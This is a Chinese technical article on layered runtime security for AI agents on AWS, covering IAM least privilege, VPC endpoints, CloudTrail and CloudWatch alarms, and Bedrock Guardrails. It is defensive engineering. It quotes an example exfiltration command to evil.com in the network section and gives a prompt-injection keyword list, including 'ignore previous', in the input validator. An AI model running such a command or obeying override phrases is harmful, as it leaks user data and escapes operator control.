AI Agent 运行时安全模型:从 IAM 最小权限到 VPC Endpoint 的多层防护设计
问题定义
传统应用的安全模型建立在一个假设上:应用的行为是确定性的。代码审查通过了,行为就是可预测的。
AI Agent 打破了这个假设。Agent 根据自然语言 prompt 和运行时上下文动态决定调用哪些 API、传递什么参数。即使代码不变,不同的用户输入可能导致完全不同的 API 调用序列。
这带来了几个安全挑战:
- 行为不可穷举:无法通过静态分析列出 Agent 所有可能的行为路径
- 权限利用范围不确定:Agent 可能在合法权限范围内做出你没预期的操作
- 攻击面扩大:prompt injection 可以诱导 Agent 执行恶意操作
因此,Agent 的安全架构需要从「事前审查」扩展到「运行时约束 + 实时监控 + 事后审计」的完整闭环。
本文基于亚马逊云科技的 IAM、VPC、CloudTrail、Bedrock Guardrails 四个服务,设计一套多层防护方案。
架构概览
┌─── 应用层 ────────────────────────────────────┐
│ 输入验证 → Bedrock Guardrails → 输出过滤 │
└──────────────────┬────────────────────────────┘
↓
┌─── 权限层 ────────────────────────────────────┐
│ IAM Role(最小权限 + Condition 约束) │
└──────────────────┬────────────────────────────┘
↓
┌─── 网络层 ────────────────────────────────────┐
│ VPC Private Subnet → VPC Endpoint │
│ Security Group + Endpoint Policy │
└──────────────────┬────────────────────────────┘
↓
┌─── 审计层 ────────────────────────────────────┐
│ CloudTrail + CloudWatch Alarms │
│ Bedrock Model Invocation Logging │
└───────────────────────────────────────────────┘
权限层:IAM 最小权限设计
专用 Role
每个 Agent 一个独立的 IAM Role。不共享、不复用。
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BedrockInvoke",
"Effect": "Allow",
"Action": [
"bedrock:InvokeModel",
"bedrock:InvokeModelWithResponseStream"
],
"Resource": "arn:aws-cn:bedrock:*::foundation-model/anthropic.claude-*"
},
{
"Sid": "S3ReadOnly",
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws-cn:s3:::my-agent-data/input/*"
}
]
}
设计原则:
- Action 粒度到方法:
InvokeModel而非bedrock:* - Resource 粒度到实例:限定模型系列、S3 prefix
- 不给探索类权限:Agent 不需要
List*、Describe* - 显式拒绝高危操作:
{
"Sid": "DenyDangerous",
"Effect": "Deny",
"Action": [
"iam:*",
"organizations:*",
"sts:AssumeRole"
],
"Resource": "*"
}
Condition 约束
{
"Condition": {
"StringEquals": {
"aws:RequestedRegion": "cn-northwest-1"
},
"IpAddress": {
"aws:VpcSourceIp": "10.0.0.0/16"
}
}
}
地理限制 + 网络来源限制。即使凭证泄露,也只能从特定 VPC 内使用。
网络层:VPC 隔离 + Endpoint
网络拓扑
Agent 运行在无公网出口的私有子网。访问亚马逊云科技服务通过 VPC Endpoint(Interface 类型或 Gateway 类型)。
安全组规则:
入站:无
出站:TCP 443 → Endpoint 安全组 CIDR
Endpoint Policy
VPC Endpoint 可以配置独立的访问策略,作为网络层的第二道权限过滤:
{
"Statement": [{
"Principal": {
"AWS": "arn:aws-cn:iam::123456789012:role/AgentRole"
},
"Effect": "Allow",
"Action": "bedrock:InvokeModel",
"Resource": "arn:aws-cn:bedrock:*::foundation-model/anthropic.claude-*"
}]
}
IAM Policy 和 Endpoint Policy 是交集关系——请求必须同时通过两个策略才能执行。
防御 prompt injection 的网络效果
即使攻击者通过 prompt injection 让 Agent 尝试访问外部 URL(比如 curl https://evil.com/exfiltrate?data=xxx),VPC 的网络隔离直接拒绝——Agent 没有公网出口。
审计层:CloudTrail + CloudWatch
日志收集
- CloudTrail:记录所有 API 调用(管理事件 + 数据事件)
- Bedrock Model Invocation Logging:记录每次模型调用的详细信息
- VPC Flow Logs:记录网络流量(可选,排查异常连接)
实时告警
CloudWatch Alarms + Metric Filters:
| 指标 | 阈值 | 响应 |
|---|---|---|
| InvokeModel 调用频率 | 5min > 100 | SNS 通知 |
| AccessDenied 事件 | 任何出现 | 通知 + Lambda 自动暂停 |
| 非工作时间调用 | 22:00-06:00 北京 | SNS 通知 |
| 单次 token 消耗 | > 50000 | SNS 通知 |
自动响应
CloudWatch Alarm → SNS → Lambda,实现:
- 自动撤销 Agent 的 IAM Role 临时凭证
- 自动修改安全组拒绝 Agent 出站流量
- 自动创建 CloudTrail 事件的快照供取证
应用层:Bedrock Guardrails
Guardrails 在模型调用层面提供防护:
配置项
- 内容过滤:HATE, INSULTS, SEXUAL, VIOLENCE 等类别,可设置阈值
- 话题限制:定义 denied topics,Agent 不讨论无关话题
- PII 检测:识别姓名、电话、邮箱、身份证号等,可选匿名化或拒绝
- 词汇过滤:自定义禁用词列表
- Contextual grounding:检测幻觉,确保回答基于给定上下文
输入验证
Guardrails 之前还需要应用层的基础验证:
def validate_agent_input(user_input: str) -> str:
# 长度限制
if len(user_input) > 5000:
raise ValueError("输入超过长度限制")
# 编码检查
user_input.encode('utf-8')
# 基础注入检测
injection_patterns = [
"ignore previous",
"system:",
"assistant:",
"<|im_start|>",
]
lower = user_input.lower()
for p in injection_patterns:
if p in lower:
raise ValueError("检测到可疑输入模式")
return user_input
总结
AI Agent 的安全是一个纵深防御问题。四个层面:
| 层 | 服务 | 解决的问题 |
|---|---|---|
| 权限 | IAM | Agent 能做什么 |
| 网络 | VPC + Endpoint | Agent 能访问什么 |
| 审计 | CloudTrail + CloudWatch | Agent 做了什么 |
| 应用 | Guardrails + 输入验证 | Agent 说了什么 |
核心原则:假设 Agent 的行为不可完全预测,用技术手段约束它只能在安全边界内活动。
Amazon Bedrock:https://aws.amazon.com/cn/bedrock/
Bedrock Guardrails:https://aws.amazon.com/cn/bedrock/guardrails/
IAM:https://docs.aws.amazon.com/iam/
CloudTrail:https://aws.amazon.com/cn/cloudtrail/
VPC Endpoints:https://docs.aws.amazon.com/vpc/latest/privatelink/

浙公网安备 33010602011771号